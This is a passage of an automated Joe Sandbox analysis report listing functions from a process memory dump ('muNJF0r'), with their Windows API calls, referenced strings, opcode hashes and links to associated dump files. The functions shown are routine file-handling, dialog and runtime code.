Opcode Fuzzy Hash: 3eb6b9425c77dca17a0de4ad1450fcee55e8b35a06af854d88a85eda52d9ea90
Instruction Fuzzy Hash: 10A012E11580027D304412005C42CF702CDC0C0B1033044AEF421850E0B8C088001472

Function 00BBE446 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE3FC

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4a7da291aaf69ddbe6aa24b16e8d89251da5259318c812e1152342b8ab6469c3
Instruction ID: 59655488f1afe76dc505aca4494920578a89054e54eb404057cdc81bb70ebdc3
Opcode Fuzzy Hash: 4a7da291aaf69ddbe6aa24b16e8d89251da5259318c812e1152342b8ab6469c3
Instruction Fuzzy Hash: 10A012E11580027D304412005C42CF702CDC0C0B1033044AEF421850E0B8C088001472

Function 00BBE5A2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE580

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3c4932670b38e2dab36fb48475c46fd6acea2da36fd97e84afccedabf8fc8e9e
Instruction ID: 4e3c93c94b85962dc0d86c9a0b990a82f2abae36e5a97531ef4cddd21d30bd0b
Opcode Fuzzy Hash: 3c4932670b38e2dab36fb48475c46fd6acea2da36fd97e84afccedabf8fc8e9e
Instruction Fuzzy Hash: 4BA011C22A8002BE300822A0AC02CFB02CEC8C0B2033088AFF822820E0B8C088000830

Function 00BBE58E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE580

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 33c821d854faa10a138c46120af5dca8f25e20ac0d6c44a7e963d31be7fe5d03
Instruction ID: 4e3c93c94b85962dc0d86c9a0b990a82f2abae36e5a97531ef4cddd21d30bd0b
Opcode Fuzzy Hash: 33c821d854faa10a138c46120af5dca8f25e20ac0d6c44a7e963d31be7fe5d03
Instruction Fuzzy Hash: 4BA011C22A8002BE300822A0AC02CFB02CEC8C0B2033088AFF822820E0B8C088000830

Function 00BBE573 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE580

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 46e6bcacff46d9293fdb75339445849fed00f899f850f4a5e426711953ca7942
Instruction ID: f1bfc1936bf3f2cfb1aede414c75ca2733b9f88594463ea7fe7f12840683e117
Opcode Fuzzy Hash: 46e6bcacff46d9293fdb75339445849fed00f899f850f4a5e426711953ca7942
Instruction Fuzzy Hash: A5A011C22A80023E300822A0AC02CFB0ACEC8E0B2233082AFF820A20E0B8C088000830

Function 00BBE569 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE51F

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: baf6c387625ca1601ec61197e636e14de2a72625c9846f38eae3a4943fcc55cd
Instruction ID: ee0865d1aafa13104ab2b47ddf555df7138e3c77fc72d81728d60fcf8062cf1c
Opcode Fuzzy Hash: baf6c387625ca1601ec61197e636e14de2a72625c9846f38eae3a4943fcc55cd
Instruction Fuzzy Hash: 15A011C22A8802BE30082200AC02CFB0ACEC0C2F203308AEEF822800A0B8C08C000832

Function 00BBE55F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE51F

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1eca4ef966d2f19ae2066979d5df3a23e1e75ef4239d9d51c89293ba3b1cc5bd
Instruction ID: ee0865d1aafa13104ab2b47ddf555df7138e3c77fc72d81728d60fcf8062cf1c
Opcode Fuzzy Hash: 1eca4ef966d2f19ae2066979d5df3a23e1e75ef4239d9d51c89293ba3b1cc5bd
Instruction Fuzzy Hash: 15A011C22A8802BE30082200AC02CFB0ACEC0C2F203308AEEF822800A0B8C08C000832

Function 00BBE555 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE51F

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3f90b163828601474e6f349b3541c7a8cb37a0390d1eb1921078087cdf955e86
Instruction ID: ee0865d1aafa13104ab2b47ddf555df7138e3c77fc72d81728d60fcf8062cf1c
Opcode Fuzzy Hash: 3f90b163828601474e6f349b3541c7a8cb37a0390d1eb1921078087cdf955e86
Instruction Fuzzy Hash: 15A011C22A8802BE30082200AC02CFB0ACEC0C2F203308AEEF822800A0B8C08C000832

Function 00BBE541 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BBE51F

Part of subcall function 00BBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BBE8D0
Part of subcall function 00BBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BBE8E1

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d8550745f6fc62f359bfd801218587e5f15140a298a71fed40ab1ca33069e318
Instruction ID: ee0865d1aafa13104ab2b47ddf555df7138e3c77fc72d81728d60fcf8062cf1c
Opcode Fuzzy Hash: d8550745f6fc62f359bfd801218587e5f15140a298a71fed40ab1ca33069e318
Instruction Fuzzy Hash: 15A011C22A8802BE30082200AC02CFB0ACEC0C2F203308AEEF822800A0B8C08C000832

Function 00BA9F09 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,00BA903E,?,?,-00000870,?,-000018B8,00000000,?,-000028B8,?,00000800,-000028B8,?,00000000,?), ref: 00BA9F0C

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: bed398f22294a419b43dd156aa34f6b852cccb26c2ece21f4b890cb028933646
Instruction ID: 101c3d80819b2bf305199672ed6bde0d2d6b7156a12237a5d9c9f651737d16f6
Opcode Fuzzy Hash: bed398f22294a419b43dd156aa34f6b852cccb26c2ece21f4b890cb028933646
Instruction Fuzzy Hash: 77A0113008000A8A8E002B30CA2820CBB20EB20BC030082A8A00ACB0A2CB22880B8A02

Function 00BBAC04 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,00BBAE72,C:\Windows\system32,00000000,00BE946A,00000006), ref: 00BBAC08

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: cc8bf6324207a7db949a0868adcc129a3b083d5e661745baadda9432d38dbab4
Instruction ID: 8b8838450b7b107e1208f0faa0fc9235b4fa4c84e9e1727b167589595a0967c0
Opcode Fuzzy Hash: cc8bf6324207a7db949a0868adcc129a3b083d5e661745baadda9432d38dbab4
Instruction Fuzzy Hash: 78A011302022028B82000B328F0AA0EBBAAAFA2B00F00C02AA00080030EB30C820AA02

Function 00BA9620 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,00BA95D6,?,?,?,?,?,00BD2641,000000FF), ref: 00BA963B

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a67de794b8fcd4d40e4135f0bc77064e433e988c0dc92aab874ec73f896c4746
Instruction ID: a82e77051261c77f69a8e092c3bbd3f0a90f7d88666c76756b3f4381836cf4d0
Opcode Fuzzy Hash: a67de794b8fcd4d40e4135f0bc77064e433e988c0dc92aab874ec73f896c4746
Instruction Fuzzy Hash: 9BF0BE7008AB059FDB308E28C558B92B7E8EF13321F040B9E90E2429E0D770698DAA40

Non-executed Functions

Function 00BBC220 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA1316: GetDlgItem.USER32(00000000,00003021), ref: 00BA135A
Part of subcall function 00BA1316: SetWindowTextW.USER32(00000000,00BD35F4), ref: 00BA1370

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00BBC2B1
EndDialog.USER32(?,00000006), ref: 00BBC2C4
GetDlgItem.USER32(?,0000006C), ref: 00BBC2E0
SetFocus.USER32(00000000), ref: 00BBC2E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 00BBC321
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00BBC358
FindFirstFileW.KERNEL32(?,?), ref: 00BBC36E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00BBC38C
FileTimeToSystemTime.KERNEL32(?,?), ref: 00BBC39C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00BBC3B8
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00BBC3D4
_swprintf.LIBCMT ref: 00BBC404

Part of subcall function 00BA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BA40A5

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00BBC417
FindClose.KERNEL32(00000000), ref: 00BBC41E
_swprintf.LIBCMT ref: 00BBC477
SetDlgItemTextW.USER32(?,00000068,?), ref: 00BBC48A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00BBC4A7
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00BBC4C7
FileTimeToSystemTime.KERNEL32(?,?), ref: 00BBC4D7
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00BBC4F1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00BBC509
_swprintf.LIBCMT ref: 00BBC535
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00BBC548
_swprintf.LIBCMT ref: 00BBC59C
SetDlgItemTextW.USER32(?,00000069,?), ref: 00BBC5AF

Part of subcall function 00BBAF0F: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00BBAF35
Part of subcall function 00BBAF0F: GetNumberFormatW.KERNEL32(00000400,00000000,?,00BDE72C,?,?), ref: 00BBAF84

Strings

%s %s, xrefs: 00BBC469, 00BBC58E
%s %s %s, xrefs: 00BBC3F2, 00BBC527
REPLACEFILEDLG, xrefs: 00BBC247

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: 6274676273e8a316060adacdd144a0251680bbf599b9eded88c435e15a340b2a
Instruction ID: 5094752ba9c9dfd44127d9274e343ebbdf9bd91e6ddc4379684da3817d573cdd
Opcode Fuzzy Hash: 6274676273e8a316060adacdd144a0251680bbf599b9eded88c435e15a340b2a
Instruction Fuzzy Hash: 94916272548344BBD221DBA4CC49FFF7BECEB4AB00F04485AB649D6091EBB5A6048762

Function 00BA6FAA Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 328fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BA6FAA
_wcslen.LIBCMT ref: 00BA7013
_wcslen.LIBCMT ref: 00BA7084

Part of subcall function 00BA7A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00BA7AAB
Part of subcall function 00BA7A9C: GetLastError.KERNEL32 ref: 00BA7AF1
Part of subcall function 00BA7A9C: CloseHandle.KERNEL32(?), ref: 00BA7B00

Part of subcall function 00BAA1E0: DeleteFileW.KERNELBASE(000000FF,?,?,00BA977F,?,?,00BA95CF,?,?,?,?,?,00BD2641,000000FF), ref: 00BAA1F1
Part of subcall function 00BAA1E0: DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,00BA977F,?,?,00BA95CF,?,?,?,?,?,00BD2641), ref: 00BAA21F

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 00BA7139
CloseHandle.KERNEL32(00000000), ref: 00BA7155
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00BA7298

Part of subcall function 00BA9DA2: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00BA73BC,?,?,?,00000000), ref: 00BA9DBC
Part of subcall function 00BA9DA2: SetFileTime.KERNELBASE(?,?,?,?), ref: 00BA9E70

Part of subcall function 00BA9620: CloseHandle.KERNELBASE(000000FF,?,?,00BA95D6,?,?,?,?,?,00BD2641,000000FF), ref: 00BA963B

Part of subcall function 00BAA4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00BAA325,?,?,?,00BAA175,?,00000001,00000000,?,?), ref: 00BAA501
Part of subcall function 00BAA4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00BAA325,?,?,?,00BAA175,?,00000001,00000000,?,?), ref: 00BAA532

Strings

SeRestorePrivilege, xrefs: 00BA6FC2
UNC\, xrefs: 00BA7051
\??\, xrefs: 00BA702B
SeCreateSymbolicLinkPrivilege, xrefs: 00BA6FCC

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: File$CloseHandle$AttributesCreateDelete_wcslen$BuffersCurrentErrorFlushH_prologLastProcessTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3983180755-3508440684
Opcode ID: 4bef0270393b30a2c4abfdd3178bfcde98f5fab4ec19223385cadb630f799ea5
Instruction ID: af615325eedd3d210b6a26f6ccd16492fd5d144cce7017e4fd002eca0ad86985
Opcode Fuzzy Hash: 4bef0270393b30a2c4abfdd3178bfcde98f5fab4ec19223385cadb630f799ea5
Instruction Fuzzy Hash: F2C1C67194C644AEDB21DB74CC91FEEB3E8EF06700F00459AF956E7182EB74AA44CB61

Function 00BBF838 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00BBF844
IsDebuggerPresent.KERNEL32 ref: 00BBF910
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00BBF930
UnhandledExceptionFilter.KERNEL32(?), ref: 00BBF93A

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 15e66de92e14a6402e5f01140ea6bff7309b31d39fd3a1ceb2dbd302c44f9603
Instruction ID: c34ff8c116f9298ab999a6c4f7e00c8c29a2005f5a6d439db4633fb23895b61e
Opcode Fuzzy Hash: 15e66de92e14a6402e5f01140ea6bff7309b31d39fd3a1ceb2dbd302c44f9603
Instruction Fuzzy Hash: 78310975D0621A9BDB10DFA4DD897DCBBF8AF04704F1040EAE40CA7250EBB19A848F45

Function 00BBE6A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,00BBE5E8,0000001C,00BBE7DD,00000000,?,?,?,?,?,?,?,00BBE5E8,00000004,00C01CEC,00BBE86D), ref: 00BBE6B4
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00BBE5E8,00000004,00C01CEC,00BBE86D), ref: 00BBE6CF

Strings

D, xrefs: 00BBE6C3

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
